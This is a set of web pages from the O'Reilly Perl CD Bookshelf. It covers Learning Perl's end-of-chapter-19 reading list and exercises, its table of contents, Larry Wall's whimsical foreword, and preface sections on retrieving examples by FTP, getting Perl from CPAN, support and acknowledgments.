  • O'Reilly & Associates' CGI Programming on the World Wide Web by Shishir Gundavaram

  • O'Reilly & Associates' Web Client Programming with Perl by Clinton Wong

  • O'Reilly & Associates' HTML: The Definitive Guide, Second Edition by Chuck Musciano and Bill Kennedy

  • Addison-Wesley's How to Setup and Maintain a Web Site by Lincoln Stein, M.D., Ph.D.

  • Addison-Wesley's CGI Programming in C and Perl, by Thomas Boutell

  • Nick Kew's CGI FAQ

  • Manpages: perltoot, perlref, perlmod, perlobj

Previous: 19.10 Perl and the Web: Beyond CGI Programming | Learning Perl | Next: 19.12 Exercises
19.10 Perl and the Web: Beyond CGI Programming | Book Index | 19.12 Exercises


[Chapter 19] 19.12 Exercises

Learning PerlSearch this book

19.12 Exercises

  1. Write a form that provides two input fields that are added together when the user submits it.

  2. Write a CGI script that detects the browser type making the request and says something in response. (Hint: look at the HTTP_USER_AGENT environment variable.)

Previous: 19.11 Further Reading | Learning Perl | Next: A. Exercise Answers
19.11 Further Reading | Book Index | A. Exercise Answers


Learning Perl

By Randal Schwartz, Tom Christiansen & Larry Wall; ISBN 1-56592-284-0, 302 pages.
Second Edition, July 1997.
(See the catalog page for this book.)

Search the text of Learning Perl.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X

Table of Contents

Foreword
Preface
Chapter 1: Introduction
Chapter 2: Scalar Data
Chapter 3: Arrays and List Data
Chapter 4: Control Structures
Chapter 5: Hashes
Chapter 6: Basic I/O
Chapter 7: Regular Expressions
Chapter 8: Functions
Chapter 9: Miscellaneous Control Structures
Chapter 10: Filehandles and File Tests
Chapter 11: Formats
Chapter 12: Directory Access
Chapter 13: File and Directory Manipulation
Chapter 14: Process Management
Chapter 15: Other Data Transformation
Chapter 16: System Database Access
Chapter 17: User Database Manipulation
Chapter 18: Converting Other Languages to Perl
Chapter 19: CGI Programming

Appendix A: Exercise Answers
Appendix B: Libraries and Modules
Appendix C: Networking Clients
Appendix D: Topics We Didn't Mention

Examples

The Perl CD Bookshelf Navigation The Perl CD BookshelfPerl in a NutshellLearning Perl on Win32 SystemsProgramming PerlAdvanced Perl ProgrammingPerl Cookbook

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Foreword

Contents:
Second Edition Update

Attention, class! Attention! Thank you.

Greetings, aspiring magicians. I hope your summer vacations were enjoyable, if too short. Allow me to be the first to welcome you to the College of Wizardry and, more particularly, to this introductory class in the Magic of Perl. I am not your regular instructor, but Professor Schwartz was unavoidably delayed, and has asked me, as the creator of Perl, to step in today and give a few introductory remarks.

Let's see now. Where to begin? How many of you are taking this course as freshmen? I see. Hmmm, I've seen worse in my days. Occasionally. Very occasionally.

Eh? That was a joke. Really! Ah well. No sense of humor, these freshmen.

Well now, what shall I talk about? There are, of course, any number of things I could talk about. I could take the egotistical approach and talk about myself, elucidating all those quirks of genetics and upbringing that brought me to the place of creating Perl, as well as making a fool of myself in general. That might be entertaining, at least to me.

Or I could talk instead about Professor Schwartz, without whose ongoing efforts the world of Perl would be much impoverished, up to and including the fact that this course of instruction wouldn't exist.

That might be enlightening, though I have the feeling you'll know more of Professor Schwartz by the end of this course than I do.

Or, putting aside all this personal puffery, I could simply talk about Perl itself, which is, after all, the subject of this course.

Or is it? Hmmm... .

When the curriculum committee discussed this course, it reached the conclusion that this class isn't so much about Perl as it is about you! This shouldn't be too surprising, because Perl is itself also about you - at least in the abstract. Perl was created for someone like you, by someone like you, with the collaboration of many other someones like you. The Magic of Perl was sewn together, stitch by stitch and swatch by swatch, around the rather peculiar shape of your psyche. If you think Perl is a bit odd, perhaps that's why.

Some computer scientists (the reductionists, in particular) would like to deny it, but people have funny-shaped minds. Mental geography is not linear, and cannot be mapped onto a flat surface without severe distortion. But for the last score years or so, computer reductionists have been first bowing down at the Temple of Orthogonality, then rising up to preach their ideas of ascetic rectitude to any who would listen.

Their fervent but misguided desire was simply to squash your mind to fit their mindset, to smush your patterns of thought into some sort of hyperdimensional flatland. It's a joyless existence, being smushed.

Nevertheless, your native common sense has shown through in spots. You and your conceptual ancestors have transcended the dreary landscape to compose many lovely computer incantations. (Some of which, at times, actually did what you wanted them to.) The most blessed of these incantations were canonized as Standards, because they managed to tap into something mystical and magical, performing the miracle of Doing What You Expect.

What nobody noticed in all the excitement was that the computer reductionists were still busily trying to smush your minds flat, albeit on a slightly higher plane of existence. The decree, therefore, went out (I'm sure you've heard of it) that computer incantations were only allowed to perform one miracle apiece. "Do one thing and do it well" was the rallying cry, and with one stroke, shell programmers were condemned to a life of muttering and counting beads on strings (which in these latter days have come to be known as pipelines).

This was when I made my small contribution to saving the world. I was rolling some of those very beads around in my fingers one day and pondering the hopelessness (and haplessness) of my existence, when it occurred to me that it might be interesting to melt down some of those mystical beads and see what would happen to their Magic if I made a single, slightly larger bead out of them. So I fired up the old Bunsen burner, picked out some of my favorite beads, and let them melt together however they would. And lo! the new Magic was more powerful than the sum of its parts and parcels.

That's odd, thought I. Why should it be that the Sedulous Bead of Regular Expressions, when bonded together with the Shellacious Bead of Gnostic Interpolation, and the Awkward Bead of Simple Data Typology, should produce more Magic, pound for pound, than they do when strung out on strings? I said to myself, could it be that the beads can exchange power with each other because they no longer have to commune with each other through that skinny little string? Could the pipeline be holding back the flow of information, much as wine doth resist flowing through the neck of Doctor von Neumann's famous bottle?

This demanded (of me) more scrutiny (of it).

So I melted that larger bead together with a few more of my favorite beads, and the same thing happened, only more so. It was practically a combinatorial explosion of potential incantations: the Basic Bead of Output Formats and the Lispery Bead of Dynamic Scoping bonded themselves with the C-rationalized Bead of Operators Galore, and together they put forth a brilliant pulse of power that spread to thousands of machines throughout the entire civilized world. That message cost the Net hundreds if not thousands of dollars to send everywhere. Obviously I was either onto something, or on something.

I then gathered my courage about me and showed my new magical bead to some of you, and you then began to give me your favorite beads to add in as well. The Magic grew yet more powerful, as yet more synergy was imbued in the silly thing. It was as if the Computational Elementals summoned by each bead were cooperating on your behalf to solve your problems for you. Why the sudden peace on earth and good will toward mentality? Perhaps it was because the beads were your favorite beads? Perhaps it was because I'm just a good bead picker?

Perhaps I just got lucky.

Whatever, the magical bead eventually grew into this rather odd-looking Amulet you see before you today. See it glitter, almost like a pearl.

That was another joke. Really! I assure you! Ah well. I was a freshman once too... The Amulet isn't exactly beautiful though; in fact, up close it still looks like a bunch of beads melted together. Well, all right, I admit it. It's downright ugly. But never mind that. It's the Magic that counts. Speaking of Magic, look who just walked in the door! My good buddy Merlyn, er, I should say, Professor Schwartz, is here just in the nick of time to begin telling you how to perform miracles with this little Amulet, if you're willing to learn the proper mysterious incantations. And you're in good hands; I must admit that there's no one better at muttering mysterious incantations than Professor Schwartz. Eh, Merlyn?

Anyway, to sum up. What you'll need most is courage. It is not an easy path that you've set your foot upon. You're learning a new language: a language full of strange runes and ancient chants, some easy and some difficult, many of which sound familiar, and some of which don't. You may be tempted to become discouraged and quit. But think you upon this: consider how long it took you to learn your own native tongue. Was it worth it? I think so. And have you finished learning it? I think not. Then do not expect to learn all the mysteries of Perl in a moment, as though you were consuming a mere peanut, or an olive. Rather, think of it as though you were consuming, say, a banana. Consider how this works. You do not wait to enjoy the banana until after you have eaten the whole thing. No, of course not. You enjoy each bite as you take it. And each bite motivates you to take the next bite, and the next.

So then, speaking now of the fruit of Merlyn's labors, I would urge you to enjoy this, um, course. The fruit course, of course. Ahem, that was a joke too. Ah well.

Here then, Professor, I present to you your new class. They seem to have no sense of humor whatsoever, but I expect you'll manage somehow.

Class, I present to you Professor Randal L. Schwartz, Doctor of Syntax, Wizard at Large, and of course, Just Another Perl Hacker. He has my blessings, just as you have my blessings. May you Learn Perl. May you do Good Magic with Perl. And above all, may you have Lots of Fun with Perl. So be it!

So do it!

Larry Wall
September, 1993

Second Edition Update

You too, Tom.

Larry Wall
May, 1997

Learning Perl | Next: Preface
Book Index | Preface


Preface

Contents:
What This Book Is About
Retrieving Exercises
Additional Resources
How to Get Perl
Conventions Used in This Book
Support
Acknowledgments for the First Edition
Acknowledgments for the Second Edition
We'd Like to Hear from You

What This Book Is About

Among other things, this book is about 260 pages long. It is also a gentle introduction to Perl. By the time you've gone through this book, you'll have touched on the majority of the simpler operations and common language idioms found in most Perl programs.

This book is not intended as a comprehensive guide to Perl; on the contrary, in order to keep the book from growing unmanageably large, we've been selective about covering only those constructs and issues that you're most likely to use early in your Perl programming career.

As a prelude to your more advanced study, however, we've included a heavier chapter at the end of the book. It's about CGI programming, but along the way, it touches upon library modules, references, and object-oriented programming in Perl. We hope it whets your appetite for these more advanced topics.

Each chapter ends with a series of exercises designed to help you practice what you have just read. If you read at a typical pace and do all the exercises, you should be able to get through each chapter in about two to three hours, or about 30 to 40 hours for the entire book.

This book is meant to be a companion volume to the classic Programming Perl, Second Edition, by Larry Wall, Randal L. Schwartz, and Tom Christiansen, published by O'Reilly & Associates, the complete reference book on the language.

Initially designed as a glue language under the UNIX operating system, Perl now runs virtually everywhere, including MS-DOS, VMS, OS/2, Plan 9, Macintosh, and any variety of Windows you care to mention. It is one of the most portable programming languages available today. With the exception of those few sections related to UNIX systems administration, the vast majority of this book is applicable to any platform Perl runs on.

Previous: Second Edition Update | Learning Perl | Next: Retrieving Exercises
Second Edition Update | Book Index | Retrieving Exercises


[Preface] Retrieving Exercises

Learning PerlSearch this book

Retrieving Exercises

The exercises in this book are available electronically in a number of ways: by FTP, FTPMAIL, BITFTP, and UUCP. The cheapest, fastest, and easiest ways are listed first. If you read from the top down, the first one that works is probably the best. Use FTP if you are directly on the Internet. Use FTPMAIL if you are not on the Internet but can send and receive electronic mail to Internet sites. Use BITFTP if you send electronic mail via BITNET. Use UUCP if none of the above works.

Note: The exercises were prepared using a UNIX system. If you are running UNIX, you can use them without modification. If you are running on another platform, you may need to modify these exercises slightly. For example, whereas under UNIX every line ends with a line-feed character (the carriage return is implicit), under DOS every line must end with explicit line-feed and carriage-return characters. Depending upon your own configuration and transfer method, you may need to append carriage returns. See the README file accompanying the exercises for additional information.

FTP

To use FTP, you need a machine with direct access to the Internet. A sample session is shown below.

% ftp ftp.oreilly.com
Connected to ftp.uu.net.
220 ftp.oreilly.com FTP server (Version 6.34 Thu Oct 22 14:32:01 EDT 1992) ready.
Name (ftp.oreilly.com:username): anonymous
331 Guest login ok, send e-mail address as password.
Password: username@hostname            Use your username and host here
230 Guest login ok, access restrictions apply.
ftp> cd /published/oreilly/nutshell/learning_perl2
250 CWD command successful.
ftp> get README
200 PORT command successful.
150 Opening ASCII mode data connection for README (xxxx bytes).
226 Transfer complete.
local: README remote: README
xxxx bytes received in xxx seconds (xxx Kbytes/s)
ftp> binary
200 Type set to I.
ftp> get examples.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for examples.tar.gz (xxxx bytes).
226 Transfer complete. local: exercises remote: exercises
xxxx bytes received in xxx seconds (xxx Kbytes/s)
ftp> quit
221 Goodbye.
%

FTPMAIL

FTPMAIL is a mail server available to anyone who can send electronic mail to and receive it from Internet sites. This includes any company or service provider that allows email connections to the Internet. Here's how you do it.

You send mail to ftpmail@online.oreilly.com. In the message body, give the FTP commands you want to run. The server will run anonymous FTP for you and mail the files back to you. To get a complete help file, send a message with no subject and the single word "help" in the body. The following is an example of a UNIX mail session that gets the examples. This command sends you a listing of the files in the selected directory and the requested example files. The listing is useful if there's a later version of the examples you're interested in.

% mail ftpmail@online.oreilly.com
Subject:
reply-to username@hostname      Where you want files mailed
open
cd /published/oreilly/nutshell/learning_perl2
dir
get README
mode binary
uuencode
get examples.tar.gz
quit
.

A signature at the end of the message is acceptable as long as it appears after "quit."

BITFTP

BITFTP is a mail server for BITNET users. You send it electronic mail messages requesting files, and it sends you back the files by electronic mail. BITFTP currently serves only users who send it mail from nodes that are directly on BITNET, EARN, or NetNorth. BITFTP is a public service of Princeton University. Here's how it works.

To use BITFTP, send mail containing your FTP commands to BITFTP@PUCC. For a complete help file, send HELP as the message body.

The following is the message body you should send to BITFTP:

FTP  ftp.oreilly.com  NETDATA
USER  anonymous
PASS your Internet e-mail address (not your BITNET address)
CD  /published/oreilly/nutshell/perl/learning_perl2
DIR
GET README
GET examples.tar.gz
QUIT

Questions about BITFTP can be directed to MAINT@PUCC on BITNET.

UUCP

If you or your company has an account with UUNET, you will have a system with a direct UUCP connection to UUNET. Find that system, and type (as one line):

uucp uunet\!~/published/oreilly/nutshell/learning_perl2/examples.tar.gz yourhost\!~/yourname/

The backslashes can be omitted if you use the Bourne shell (sh) instead of csh. The example file should appear some time later (up to a day or more) in the directory /usr/spool /uucppublic / yourname.

Previous: What This Book Is About | Learning Perl | Next: Additional Resources
What This Book Is About | Book Index | Additional Resources


[Preface] Additional Resources

Learning PerlSearch this book

Additional Resources

Perl Manpages

The online documentation for Perl, called manpages due to their UNIX origin, has been divided into separate sections so you can easily find what you are looking for without wading through hundreds of pages of text. Since the top-level manpage is simply called perl, the UNIX command man perl should take you to it.[1] That page in turn directs you to more specific pages. For example, man perlre displays the manpage for Perl's regular expressions. The perldoc command may work when the man (1) command won't, especially on module documentation that your system administrator may not have felt comfortable installing with the ordinary manpages. On the other hand, your system administrator may have installed the Perl documentation in hypertext markup language (HTML) format, especially on systems other than UNIX. If all else fails, you can always retrieve the Perl documentation from CPAN; look for this information in Section 0.5, "How to Get Perl"."

[1] If you still get a humongous page when you do that, you're probably picking up the ancient Release 4 manpage. You may need to change your MANPATH environment variable.

Here are the principal manpages included with the 5.004 distribution of Perl:

Manpage | Topic
perl | Overview of documentation
perldelta | Changes since previous version
perlfaq | Frequently asked questions
perldata | Data structures
perlsyn | Syntax
perlop | Operators and precedence
perlre | Regular expressions
perlrun | Execution and options
perlfunc | Built-in functions
perlvar | Predefined variables
perlsub | Subroutines
perlmod | Modules: how they work
perlmodlib | Lib modules: how to write and use
perlform | Formats
perllocale | Locale support
perlref | References
perldsc | Data structures intro
perllol | Data structures: lists of lists
perltoot | Tutorial of object-oriented programming
perlobj | Objects
perltie | Objects hidden behind simple variables
perlbot | Object tricks and examples
perlipc | Interprocess communication
perldebug | Debugging
perldiag | Diagnostic messages
perlsec | Security
perltrap | Traps for the unwary
perlstyle | Style guide
perlpod | Plain old documentation
perlbook | Book information
perlembed | Ways to embed Perl in your C or C++ application
perlapio | Internal IO abstraction interface
perlxs | XS application programming interface
perlxstut | XS tutorial
perlguts | Internal functions for those doing extensions
perlcall | Calling conventions from C

Usenet Newsgroups

The Perl newsgroups are a great, if sometimes cluttered, source of information about Perl. comp.lang.perl.announce is a moderated, low-traffic newsgroup for Perl-related announcements. These often deal with new version releases, bug fixes, new extensions and modules, and Frequently Asked Questions (FAQs).

The high-traffic comp.lang.perl.misc group discusses everything from technical issues to Perl philosophy to Perl games and Perl poetry. Like Perl itself, comp.lang.perl.misc is meant to be useful, and no question is too silly to ask.[2]

[2] Of course, some questions are too silly to answer, especially those already answered in the FAQ.

The comp.lang.perl.tk group discusses how to use the popular Tk toolkit from Perl. The comp.lang.perl.modules group is about the development and use of Perl modules, which are the best way to get reusable code. There may be other comp.lang.perl.whatever newsgroups by the time you read this; look around.

One other newsgroup you might want to check out, at least if you're doing CGI programming on the Web, is comp.infosystems.www.authoring.cgi. While it isn't strictly speaking a Perl group, most of the programs discussed there are written in Perl. It's the right place to go for web-related Perl issues.

The Perl Home Page

If you have access to the World Wide Web, visit the Perl home page at http://www.perl.com/perl/. It tells what's new in the Perl world, and contains source code and ports, documentation, third-party modules, the Perl bugs database, mailing list information, and more. This site also provides the CPAN multiplexer, described later.

Frequently Asked Questions List

The Perl Frequently Asked Questions (FAQ) is a collection of questions and answers that often show up on comp.lang.perl.misc. In many respects it's a companion to the available books, explaining concepts that people may not have understood and maintaining up-to-date information about such things as the latest release level and the best place to get the Perl source.

The FAQ is periodically posted to comp.lang.perl.announce, and can also be found on the Web at http://www.perl.com/perl/faq.

Since the 5.004 release of Perl, the FAQ has been included with the standard distribution's documentation. Here are the main sections, each available as its own manpage:

perlfaq

Structural overview of the FAQ.

perlfaq1

Very general, high-level information about Perl.

perlfaq2

Where to find source and documentation to Perl, support and training, and related matters.

perlfaq3

Programmer tools and programming support.

perlfaq4

Manipulating numbers, dates, strings, arrays, hashes, and miscellaneous data issues.

perlfaq5

I/O and the "f " issues: filehandles, flushing, formats, and footers.

perlfaq6

Pattern matching and regular expressions.

perlfaq7

General Perl language issues that don't clearly fit into any of the other sections.

perlfaq8

Interprocess communication (IPC), control over the user-interface: keyboard, screen, and pointing devices.

perlfaq9

Networking, the Internet, and a few on the Web.

Bug Reports

In the unlikely event that you should encounter a bug that's in Perl proper and not just in your own program, you should try to reduce it to a minimal test case and then report it with the perlbug program that comes with Perl.

The Perl Distribution

Perl is distributed under either of two licenses (your choice). The first is the standard GNU Copyleft, which means, briefly, that if you can execute Perl on your system, you should have access to the full source of Perl for no additional charge. Alternately, Perl may also be distributed under the Artistic License, which some people find less threatening than the Copyleft (especially lawyers).

Within the Perl distribution, you will find some example programs in the eg / directory. You may also find other tidbits. Poke around in there on some rainy afternoon. Study the Perl source (if you're a C hacker with a masochistic streak). Look at the test suite. See how Configure determines whether you have the mkdir (2) system call. Figure out how Perl does dynamic loading of C modules. Or whatever else suits your fancy.

Other Books

Programming Perl is the definitive reference book on Perl, whereas this book is more of a tutorial. If you want to learn more about Perl's regular expressions, we suggest Mastering Regular Expressions, by Jeffrey E.F. Friedl (also published by O'Reilly & Associates).

Also check out O'Reilly and Associates' CGI Programming on the World Wide Web by Shishir Gundavaram; Web Client Programming with Perl by Clinton Wong; and HTML: The Definitive Guide, Second Edition, by Chuck Musciano and Bill Kennedy.

The AWK Programming Language, by Aho, Kernighan, and Weinberger (published by Addison-Wesley), and sed & awk, by Dale Dougherty (published by O'Reilly & Associates), provide an essential background in such things as associative arrays, regular expressions, and the general world view that gave rise to Perl. They also contain many examples that can be translated into Perl by the awk-to-perl translator, a2p, or by the sed-to-perl translator, s2p. These translators won't produce idiomatic Perl, of course, but if you can't figure out how to imitate one of those examples in Perl, the translator output will give you a good place to start.

For webmasters, we recommend the second edition of How to Setup and Maintain a Web Site, by Lincoln Stein, M.D., Ph.D. (published by Addison-Wesley). Dr. Stein, renowned author of Perl's CGI.pm module (described in Chapter 19, CGI Programming), delivers a professional and comprehensive treatment of all issues related to administering a web site on UNIX, Mac, and Windows platforms.

We also recommend Johan Vromans's convenient and thorough quick reference booklet, called Perl 5 Desktop Reference, published by O'Reilly & Associates.

Previous: Retrieving Exercises | Learning Perl | Next: How to Get Perl
Retrieving Exercises | Book Index | How to Get Perl


[Preface] How to Get Perl

Learning PerlSearch this book

How to Get Perl

The main distribution point for Perl is the Comprehensive Perl Archive Network, or CPAN. This archive contains not only the source code, but also just about everything you could ever want that's Perl-related. CPAN is mirrored by dozens of sites all over the world, as well as a few down under. The main site is ftp.funet.fi (128.214.248.6). You can find a more local CPAN site by getting the file /pub/languages/perl/CPAN/MIRRORS from ftp.funet.fi. Or you can use your web browser to access the CPAN multiplex service at www.perl.com. Whenever you ask this web server for a file starting with /CPAN/, it connects you to a CPAN site, which it chooses by looking at your domain name. Here are some popular universal resource locators (URLs) out of CPAN:

http://www.perl.com/CPAN/
http://www.perl.com/CPAN/README.html
http://www.perl.com/CPAN/modules/
http://www.perl.com/CPAN/ports/
http://www.perl.com/CPAN/doc/
http://www.perl.com/CPAN/src/latest.tar.gz

The CPAN multiplex service tries to connect you to a local, fast machine on a large bandwidth hub. This doesn't always work, however, because domain names may not reflect network connections. For example, you might have a hostname ending in .se, but you may actually be better connected to North America than to Sweden. If so, you can use the following URL to choose your own site:

http://www.perl.com/CPAN

Note the absence of a slash at the end of the URL. When you omit the trailing slash, the CPAN multiplexer presents a menu of CPAN mirrors from which you can select a site. So long as your web browser supports cookies, the CPAN multiplexer will automatically remember your choice next time.

The following machines should have the Perl source code plus a copy of the CPAN mirror list - both available via anonymous FTP. (Try to use the machine names rather than the numbers, since the numbers may change.)

ftp.perl.com | 199.45.129.30
ftp.cs.colorado.edu | 128.138.243.20
ftp.funet.fi | 128.214.248.6
ftp.cs.ruu.nl | 131.211.80.17

The location of the top directory of the CPAN mirror differs on these machines, so look around once you get there. It's often something like /pub/perl/CPAN.

Where the Files Are

Under the main CPAN directory, you'll see at least the following subdirectories:

authors

This directory contains numerous subdirectories, one for each contributor of software. For example, if you wanted to find Lincoln Stein's great CGI.pm module, and you knew for a fact that he wrote it, you could look in authors/Lincoln_Stein. If you didn't know he wrote it, you could look in the modules directory explained below.

doc

A directory containing all manner of Perl documentation. This includes all official documentation (manpages) in several formats (such as ASCII text, HTML, PostScript, and Perl's native POD format), plus the FAQs and interesting supplementary documents.

modules

This directory contains unbundled modules written in C, Perl, or both. Extensions allow you to emulate or access the functionality of other software, such as Tk graphical facilities, the UNIX curses library, and math libraries. They also give you a way to interact with databases (Oracle, Sybase, etc.), and to manage HTML files and CGI scripts.

ports

This directory contains the source code and/or binaries for Perl ports to operating systems not directly supported in the standard distribution. These ports are the individual efforts of their respective authors, and may not all function precisely as described in this book.

scripts

A collection of diverse scripts from all over the world. If you need to find out how to do something, or if you just want to see how other people write programs, check this out. The subdirectory nutshell contains the examples from this book. (You can also find these sources at the O'Reilly & Associates ftp.ora.com site, in /published/oreilly/nutshell/learning_perl2/.

src

Within this directory you will find the source for the standard Perl distribution. The current production release is always in the file that is called src/latest.tar.gz.[3] This large file contains full source and documentation for Perl. Configuration and installation should be relatively straightforward on UNIX and UNIX-like systems, as well as VMS and OS/2. Starting with Version 5.004, Perl also builds on 32-bit Windows systems.

[3] The trailing .tar.gz means that it's in the standard Internet format of a GNU-zipped, tar archive.

Using Anonymous FTP

In the event you've never used anonymous FTP, here is a quick primer in the form of a sample session with comments. Text in bold typewriter font is what you should type; comments are in italics. The % represents your prompt, and should not be typed.

% ftp ftp.CPAN.org (ftp.CPAN.org is not a real site)
Connected to ftp.CPAN.org.
220 CPAN FTP server (Version wu-2.4(1) Fri Dec 1 00:00:00 EST 1995) ready.
Name (ftp.CPAN.org:CPAN): anonymous
331 Guest login ok, send your complete e-mail address as password.
Password: camel@nutshell.com (Use your username and host here)
230 Guest login ok, access restrictions apply.
ftp> cd pub/perl/CPAN/src 250 CWD command successful.
ftp> binary (You must specify binary transfer for compressed files) 200 Type set to I.
ftp> get latest.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for FILE.
226 Transfer complete.
.
. (repeat this step for each file you want)
.
ftp> quit 221 Goodbye.
%

Once you have the files, first unzip and untar them, and then configure, build, and install Perl:

% gunzip < latest.tar.gz | tar xvf -
% cd perl5.003 (Use actual directory name)
Now either one of these next two lines:
% sh configure (Lowercase "c" for automatic configuration)
% sh Configure (Capital "C" for manual configuration)
% make (Build all of Perl)
% make test (Make sure it works)
% make install (You should be the superuser for this)

Fetching modules

For retrieving and building unbundled Perl modules, the process is slightly different. Let's say you want to build and install a module named CoolMod. You'd first fetch it via ftp (1), or you could use your web browser to access the module service from http://www.perl.com/, which always retrieves the most up-to-date version of a particular registered module. The address to feed your browser would be similar to:

http://www.perl.com/cgi-bin/cpan_mod?module=CoolMod

Once you've gotten the file, do this:

% gunzip < CoolMod-2.34.tar.gz | tar xvf -
% cd CoolMod-2.34
% perl Makefile.PL (Creates the real Makefile)
% make (Build the whole module)
% make test (Make sure it works)
% make install (Probably should be the superuser)

When the CoolMod module has been successfully installed (it is automatically placed in your system's Perl library path), your programs can say:

use CoolMod;

and you should be able to run man CoolMod (or maybe perldoc CoolMod ) to read the module's documentation.

Previous: Additional Resources | Learning Perl | Next: Conventions Used in This Book
Additional Resources | Book Index | Conventions Used in This Book


[Preface] Conventions Used in This Book

Learning PerlSearch this book

Conventions Used in This Book

The following typographic conventions appear in this book:

Italic

is used for file and command names. It is also used to highlight comments in command examples, and to define terms the first time they appear.

Constant Width

is used in examples and in regular text to show operators, variables, and the output from commands or programs.

Constant Bold

is used in examples to show the user's actual input at the terminal.

Constant Italic

is used in examples to show variables for which a context-specific substitution should be made. The variable filename, for example, would be replaced by some actual filename.

Footnotes

are used to attach parenthetical notes which you should not read on your first reading of this book. Sometimes, lies are spoken to simplify the discussion, and the footnotes restore the lie to truth. Often, the material in the footnote will be advanced information that may not even be discussed anywhere else in the book.

Previous: How to Get Perl | Learning Perl | Next: Support
How to Get Perl | Book Index | Support


[Preface] Support

Learning PerlSearch this book

Support

Perl is the child of Larry Wall, and is still being coddled by him. Bug reports and requests for enhancements generally get fixed in later releases, but he is under no obligation to do anything with them. Nevertheless, Larry really does enjoy hearing from all of us, and does truly like to see Perl be useful to the world at large. Direct email generally gets a response (even if it is merely his email answering machine), and sometimes a personal response. These days, Larry is actually acting as an architect to the "Perl 5 Porters" group, a bunch of very clever people that have had a lot to do with the last few Perl releases. If Larry got hit by a bus, everyone would be very sad for a long time, but Perl would still continue to mature under the direction of this group.

If you have a bug, Perl is shipped with a perlbug command that gathers pertinent information (including the problem as you see it) and emails it off to perlbug@perl.com. At the moment, the Perl 5 Porters read this mail (along with the 20 to 100 messages they send each other every day) and sometimes answer if it really is a bug. If you try to use this address just for support, you'll get flamed, so please keep your table talk to an absolute minimum and refrain from calling out to the performers.

More useful than writing Larry directly, or sending it off as a bug, is the worldwide online Perl support group, communicating through the Usenet newsgroup comp.lang.perl.misc. If you are emailable to the Internet, but not amenable to Usenet, you can also wire yourself into this group by sending a request to perl-users-request@cs.orst.edu, which will reach a human who can connect you to a two-way email gateway into the group and give you guidelines on how it works.

When you subscribe to the newsgroup, you'll find roughly 50 to 200 "postings" a day (at the time of this writing) on all manner of subjects from beginner questions to complicated porting issues and interface problems, and even a fairly large program or two.

The newsgroup is almost constantly monitored by many Perl experts. Most of the time, your question gets answered within minutes of your news article reaching a major Usenet hub. Just try getting that level of support from your favorite software vendor for free! If you'd like to purchase a commercial support contract for Perl, see the Perl FAQ (described earlier in "Additional Resources") for directions and availability.

Previous: Conventions Used in This Book | Learning Perl | Next: Acknowledgments for the First Edition
Conventions Used in This Book | Book Index | Acknowledgments for the First Edition


[Preface] Acknowledgments for the First Edition

Learning PerlSearch this book

Acknowledgments for the First Edition

First, I wholeheartedly thank Chick Webb and Taos Mountain Software (in Silicon Valley). The folks at TMS offered me an opportunity to write an introductory Perl course for them (with substantial assistance from Chick), and a chance to present their course a few times. From that experience, I gained the motivation and resources to write and repeatedly present a new course of my own, from which this book is derived. Without them, I don't think I'd be doing this, and I wish them continued success at marketing their course. (And if they're looking for a good text for a revision of their course, I just may have a suggestion...)

Thanks also to the reviewers: Perl Godfather Larry Wall (of course), Larry Kistler (Director of Education, Pyramid), fellow Perl trainer Tom Christiansen, and the students of the Learning Perl classes I taught at Intel and Pyramid, and - from O'Reilly & Associates: Tanya Herlick, Lar Kaufman, Lenny Muellner, Linda Mui, and Andy Oram.

This book was created and edited entirely on my personal Apple Macintosh Powerbook (first the 140, and now the 160 model). More often than not, I was away from my office while writing - sometimes in a park, sometimes in a hotel, sometimes waiting for the weather to clear so I could continue to snow-ski, but most often in restaurants. In fact, I wrote a substantial portion of this book at the Beaverton McMenamin's just down the road from my house. The McM's chain of brewpubs make and serve the finest microbrew and best cheesecake and greasiest sandwiches in my hometown area. I consumed many pints of ale and pieces of cheesecake in this ideal work environment, while my Powerbook swallowed many kilowatt hours of electricity at their four tables with power outlets. For the electricity, and the generous hospitality and courtesy (and rent-free booth-office space), I thank the exceptional staff at the Beaverton McM's. I also hacked some early work on the book at the Beaverton Chili's Restaurant, to which I am also grateful. (But they didn't have any outlets near the bar, so I switched when I found McM's, to save the wear and tear on my batteries.)

Thanks to "the Net" (especially the subscribers to comp.lang.perl) for their continued support of Larry and me, and their unending curiosity about getting Perl to work for them.

Thanks also to Tim O'Reilly, for Taoistically being.

And especially, a huge personal thanks to my friend Steve Talbott, who guided me through every step of the way (especially suggesting the stroll at the end of the first chapter). His editorial criticisms were always right on, and his incessant talent for beating me over the head ever so gently allowed me to make this book a piece of art with which I'm extremely pleased.

As always, a special thank you to both Lyle and Jack, for teaching me nearly everything I know about writing.

And finally, an immeasurable thank you to my friend and partner, Larry Wall, for giving Perl to us all in the first place.

A one L Randal wrote a book,
A two L llama for the look,
But to whom we owe it all
Is the three L Larry Wall!

Randal

Previous: Support | Learning Perl | Next: Acknowledgments for the Second Edition
Support | Book Index | Acknowledgments for the Second Edition


[Preface] Acknowledgments for the Second Edition

Learning PerlSearch this book

Acknowledgments for the Second Edition

I'd like to thank Larry Wall for writing Perl, the Perl Porters for their continued maintenance efforts, and the entire Perl community for their helpfulnesss toward one another.

Thanks also to Jon Orwant, Nate Torkington, and Larry Wall for reviewing the CGI chapter.

Tom

Previous: Acknowledgments for the First Edition | Learning Perl | Next: We'd Like to Hear from You
Acknowledgments for the First Edition | Book Index | We'd Like to Hear from You


[Preface] We'd Like to Hear from You

Learning PerlSearch this book

We'd Like to Hear from You

Please address comments and questions concerning this book to the publisher:

O'Reilly & Associates
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in United States or Canada)
1-707-829-0515 (international or local)
1-707-829-0104 (Fax)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to nuts@oreilly.com.

To ask technical questions or comment on the book, send email to: bookquestions@oreilly.com.

Previous: Acknowledgments for the Second Edition | Learning Perl | Next: 1. Introduction
Acknowledgments for the Second Edition | Book Index | 1. Introduction


[Appendix A] Exercise Answers

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 19.6 Exercises Appendix A Next: A.2 Chapter 3, Arrays and List Data

A. Exercise Answers

Contents:
Chapter 2, Scalar Data
Chapter 3, Arrays and List Data
Chapter 4, Control Structures
Chapter 5, Hashes
Chapter 6, Basic I/O
Chapter 7, Regular Expressions
Chapter 8, Functions
Chapter 9, Miscellaneous Control Structures
Chapter 10, Filehandles and File Tests
